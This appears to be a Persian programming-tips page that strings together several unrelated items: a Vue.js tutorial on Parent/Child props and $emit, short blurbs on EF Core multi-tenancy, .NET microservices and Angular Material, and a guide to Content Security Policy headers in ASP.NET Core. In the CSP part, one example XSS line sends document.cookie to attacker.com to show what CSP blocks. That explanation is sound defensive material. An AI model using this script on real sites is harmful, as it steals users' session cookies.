توصیف مهندسین نرم افزار (SWE)
Jon P. Smith, author of Entity Framework Core in Action, explains what a multi-tenant app is and then digs into the things you need to do to make a multi-tenant app using ASP.NET Core with EF Core.
00:00 Countdown
02:19 Introduction and Community Links
18:25 What are multi-tenant web applications?
21:14 Single level multi-tenant demo
29:00 Partitioning tenants with EF Core QueryFilter
38:00 Admin features: creating users and tenants
43:00 Q&A
43:00 Hierarchical multi-tenant
59:00 How to get started
1:06:30 Database sharding and connection string management
1:16:30 Scaling with Azure SQL Elastic Pools
1:19:00 Conclusion
برنامههای Vue.jsای از چندین کامپوننت برای بخش بندی هر قسمت تشکیل میشوند و این بخش بندی برای مدیریت بهتر تغییرات، خطایابی، نگهداری و استفاده مجدد (reusable) میباشد. فرض کنید تعدادی کامپوننت در برنامه داریم و اطلاعات این کامپوننتها بهم وابسته میباشند؛ بطور مثال یک کامپوننت انتخاب دسته بندی را داریم و به محض تغییر این مقدار، میخواهیم لیستی از محصولات پیشنهادی یا پرفروشِ آن دسته بندی، در کامپوننت پایین صفحه نمایش داده شود و یا خرید یک محصول را در نظر بگیرید که بلافاصله محتوای نمایش سبد خرید، بروزرسانی شود. در این مقاله ارتباط از نوع Parent و Child بین کامپوننتها بررسی میشود.
نکته: برای ارسال اطلاعات از کامپوننتِ Parent به Child، از Props استفاده میشود و برای ارتباط از Child به Parent، از emit$ استفاده میشود.
یک برنامه Vue.js با نام vue-communication-part-1 ایجاد نمایید. سپس دو کامپوننت را با نامهای Parent و Child، در پوشه components ایجاد کنید:
در کامپوننت Parent، یک تابع با نام increase وجود دارد که مقدار متغیر parentCounter را افزایش میدهد. چون قصد داریم مقدار متغیر parentCounter در کامپوننت Child نیز بروزرسانی شود، آن را به کامپوننت Child پاس میدهیم:
<Child :childCounter="parentCounter"/>
محتوای کامپوننت Parent:
<template> <div> <div> <h2>Parent Component</h2> <!-- را نمایش میدهید parentCounter مقدار --> <h1>{{ parentCounter }}</h1> <button @click="increase">Increase Parent</button> </div> <div> <!-- پاس میدهید Child در کامپوننت childCounter را به پراپرتی parentCounter مقدار --> <!--از طریق decreaseParent سبب اتصال و فراخوانی تابع @callDecreaseParent به decreaseParent با انتساب --> <!-- میشود Child در کامپوننت callDecreaseMethodInParent تابع --> <Child :childCounter="parentCounter" @callDecreaseParent="decreaseParent"/> </div> </div> </template> <script> //برای استفاده در کامپوننت جاری Child ایمپورت کردن کامپوننت import Child from "./Child.vue"; export default { // در این بخش متغیرهای مورد نیاز کامپوننت را تعریف میکنیم data() { return { parentCounter: 0 }; }, components: { // میتوان آرایه ای از کامپوننتها را در یک کامپوننت استفاده نمود // در این مثال فقط از یک کامپوننت استفاده شده Child }, methods: { //را یک واحد افزایش میدهد parentCounter این متد مقدار increase() { this.parentCounter++; }, decreaseParent() { this.parentCounter--; } } }; </script> <style> .parent-block, .child { text-align: center; margin: 20px; padding: 20px; border: 2px gray solid; } </style>
در کامپوننت Child قصد دریافت مقدار پراپرتیِ childCounter را داریم که از طریق کامپوننت Parent، مقدارش تنظیم و بروزرسانی میشود. به این منظور در قسمت props یک متغیر بنام childCounter را ایجاد میکنیم.
Data is the private memory of each component where you can store any variables you need. Props are how you pass this data from a parent component down to a child component
محتوای کامپوننت Child
<template> <div> <h3>Child Component</h3> <!-- را نمایش میدهید childCounter مقدار --> <h3>{{ childCounter }}</h3> <button @click="increase">Increase Me</button> <button @click="callDecreaseMethodInParent">Call Decrease Method In Parent</button> </div> </template> <script> export default { // استفاده میشود Child به Parent برای ارتباط بین کامپوننت props از props: { childCounter: Number }, data() { return {}; }, methods: { //را یک واحد افزایش میدهد childCounter این متد مقدار increase() { this.childCounter++; }, // فراخوانی میکند Parent را در کامپوننت decreaseParent تابع callDecreaseMethodInParent() { this.$emit("callDecreaseParent"); } } }; </script>
محتوای کامپوننت اصلی برنامه App.vue:
<template> <div id="app"> <img alt="Vue logo" src="./assets/logo.png"> <parent></parent> </div> </template> <script> import Parent from "./components/Parent.vue"; export default { name: "app", components: { parent: Parent } }; </script> <style> #app { width: 50%; margin: 0 auto; text-align: center; } </style>
اکنون برنامه را با دستور زیر اجرا کنید:
npm run serve
بعد از اجرای دستور فوق، روی گزینه زیر ctrl+click میکنیم تا نتیجه کار در مرورگر قابل رویت باشد:
نمایش صفحه زیر نشان دهندهی درستی انجام کار تا اینجا است:
اکنون روی دکمهی Increase Parent کلیک میکنیم. همزمان مقدار شمارشگر، در هر دو کامپوننت Parent و Child افزایش مییابد و این بدین معناست که با استفاده از Props میتوانیم دادههای دلخواهی را در کامپوننت Child بروز رسانی کنیم. هر زمانی روی دکمهی Increase Me در کامپوننت Child کلیک کنیم، فقط به مقدار شمارشگر درون خودش اضافه میشود و تاثیری را بر شمارشگر Parent ندارد. در واقع یک کپی از مقدار شمارشگر Parent را درون خود دارد.
در ادامه قصد داریم بروزرسانی داده را از Child به Parent انجام دهیم. برای انجام اینکار از emit$ استفاده میکنیم. در دیکشنری Cambridge Dictionary معنی emit به ارسال یک سیگنال ترجمه شدهاست. در واقع بااستفاده از emit میتوانیم یک تابع را در کامپوننت Parent فراخوانی کنیم و در آن تابع، کد دلخواهی را برای دستکاری دادهها مینویسیم.
در تابع callDecreaseMethodInParent در کامپوننت Child، کد زیر را قرار میدهیم:
this.$emit("callDecreaseParent");
هر زمانکه این تابع اجرا شود، یک سیگنال از طریق کد زیر برای کامپوننت Parent ارسال میشود:
<Child @callDecreaseParent="decreaseParent"/>
در کد فوق مشخص شده که با ارسال سیگنال callDecreaseParent، تابع decreaseParent در کامپوننت Parent فراخوانی شود.
نکته: برای اجرای برنامه و دریافت پکیجهای مورد استفاده در مثال جاری، نیاز است دستور زیر را اجرا کنید:
npm install
چند نکته
this.$emit //dispatches an event to its parent component
کد فوق سبب اجرای یک تابع در کامپوننتِ Parent خودش میشود.
this.$parent // gives you a reference to the parent component
ارجاعی به کامپوننت Parent خودش را فراهم میکند:
this.$root // gives you a reference to the root component
زمانیکه چندین کامپوننت تو در تو را داریم یا به اصطلاح nested component، سبب ارجاعی به بالاترین کامپوننت Parent میگردد.
this.$parent.$emit // will make the parent dispatch the event to its parent
سبب اجرای تابعِ Parent کامپوننتِ Parent جاری میشود. به بیان ساده اگر این کد در کامپوننت فرزند فراخوانی شود، سبب اجرای تابعی در کامپوننت پدربزرگِ خود میشود.
this.$root.$emit // will make the root dispatch the event to itself
سبب اجرای تابعی در کامپوننت root میشود (بالاترین کامپوننتِ پدرِ کامپوننت جاری).
تابع emit$ دارای آگومانهای دیگری برای پاس دادن اطلاعات از کامپوننت Child به Parent میباشد؛ مثل زمانیکه قصد دارید اطلاعاتی در مورد محصول خریداری شده را به سبد خرید پاس دهید. در مثال دیگری که در ادامه قرار میگیرد نحوه کارکرد ارتباط کامپوننت Parent و Child را در یک برنامه بهتر تجربه میکنیم.
پیاده سازی یک سبد خرید ساده با روش مقالهی جاری
نکته: برای اجرای برنامه و دریافت پکیجهای مورد استفاده در مثال جاری، نیاز است دستور زیر را اجرا کنید:
npm install
همچنین نیاز هست تا پکیچ node-sass را با دستور زیر برای این مثال نصب کنید.
npm install node-sass
ساخت یک Microservice با NET 5.
This video shows how to create a microservice from scratch using .NET 5. You will learn:
• How to create a .NET 5 microservice from scratch
• Build and debug a .NET 5 project in VS Code
• Interact with your microservice endpoints via Open API and Postman
• Keep configuration and secrets separate from your service code
• Simplify http requests to external endpoints
• Deal with transient errors on external services
• Report the health of the service and its dependencies
• Produce logs suited for a microservice environment
versin control بانک های اطلاعاتی
By placing under source control everything we need to describe any version of a database, we make it much easier to achieve consistent database builds and releases, to find out who made which changes and why, and to access all database support materials. Matthew Skelton explains how to make sure your version control system fully supports all phases of the database lifecycle, from governance, development, delivery and through to operations.
آنگولار متریال 1 منتشر شد
What makes 1.0 different from our pre-release builds?
- Stable CSS and API surface.We're now confident in the API for these components and do not plan any breaking changes.
- Supported platforms: Tested on IE 11+, Chrome, Safari, Firefox, Android 4.2+ and iOS 8+.
- Angular 1.5-ready. You can use AngularJS 1.3 and later, but as soon as you update to the new release, you can be confident that ngMaterial components will continue to work as expected.
- و فقط در نگارشهای SQL Server 2014 Enterprise, Developer, and Evaluation editions پشتیبانی میشود. برای مثال نگارش Standard این قابلیت را ندارد.
- هنگام نصب هم باید گزینهی «Database Engine Services -> install support for In-Memory OLTP engine» انتخاب شده باشد.
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»
- «افزودن هدرهای Content Security Policy به برنامههای ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
Content-Security-Policy: default-src 'self'
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>
سؤال: چگونه توسط CSP، اسکریپتهای inline خوب را از بد تشخیص دهیم؟
یک روش مواجه شدن با منع اجرای اسکریپتهای inline، مجاز اعلام کردن تمام آنها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بیمصرف میکند. روش دیگر آن، معرفی هش اسکریپتهای inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمیخواهد آنرا اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر میکند:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword, a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='), or a nonce ('nonce-...') is required to enable inline execution.
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
معرفی کتابخانهی NetEscapades.AspNetCore.SecurityHeaders
جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامههای مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، میتوان از میانافزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بستهی نیوگت آنرا معرفی کرد:
<ItemGroup> <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" /> </ItemGroup>
public static class SecurityHeadersBuilder { public static HeaderPolicyCollection GetCsp(bool isDevelopment) { var policy = new HeaderPolicyCollection() .AddFrameOptionsDeny() .AddXssProtectionBlock() .AddContentTypeOptionsNoSniff() .AddReferrerPolicyStrictOriginWhenCrossOrigin() .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin()) .AddCrossOriginResourcePolicy(builder => builder.SameOrigin()) .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp()) .AddContentSecurityPolicy(builder => { builder.AddBaseUri().Self(); builder.AddDefaultSrc().Self().From("blob:"); builder.AddObjectSrc().Self().From("blob:"); builder.AddBlockAllMixedContent(); builder.AddImgSrc().Self().From("data:").From("blob:").From("https:"); builder.AddFontSrc().Self(); builder.AddStyleSrc().Self(); builder.AddFrameAncestors().None(); builder.AddConnectSrc().Self(); builder.AddMediaSrc().Self(); builder.AddScriptSrc().Self() // Specify any additional hashes to permit your required `non-framework` scripts to load. .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=") // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function. .UnsafeEval(); //TODO: Add api/CspReport/Log action method ... // https://www.dntips.ir/post/2706 builder.AddReportUri().To("/api/CspReport/Log"); builder.AddUpgradeInsecureRequests(); }) .RemoveServerHeader() .AddPermissionsPolicy(builder => { builder.AddAccelerometer().None(); builder.AddAutoplay().None(); builder.AddCamera().None(); builder.AddEncryptedMedia().None(); builder.AddFullscreen().All(); builder.AddGeolocation().None(); builder.AddGyroscope().None(); builder.AddMagnetometer().None(); builder.AddMicrophone().None(); builder.AddMidi().None(); builder.AddPayment().None(); builder.AddPictureInPicture().None(); builder.AddSyncXHR().None(); builder.AddUsb().None(); }); if (!isDevelopment) { // maxAge = one year in seconds policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains(); } policy.ApplyDocumentHeadersToAllResponses(); return policy; } }
- این تنظیمات برای Blazor WASM تهیه شدهاند. در این حالت ذکر UnsafeEval برای اجرای اسکریپتهای فریمورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده میکنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هشها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده میکنید.
پس از تدارک کلاس تنظیمات فوق، روش استفادهی از آن در فایل Program.cs و توسط میانافزار SecurityHeaders، به صورت زیر است:
var app = builder.Build(); // ... var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment()); app.UseSecurityHeaders(headerPolicyCollection); app.UseHttpsRedirection(); // ...
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests Cross-Origin-Embedder-Policy:require-corp Cross-Origin-Opener-Policy:same-origin Cross-Origin-Resource-Policy:same-origin Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=() Referrer-Policy:strict-origin-when-cross-origin X-Content-Type-Options:nosniff X-Frame-Options:DENY X-Xss-Protection:1; mode=block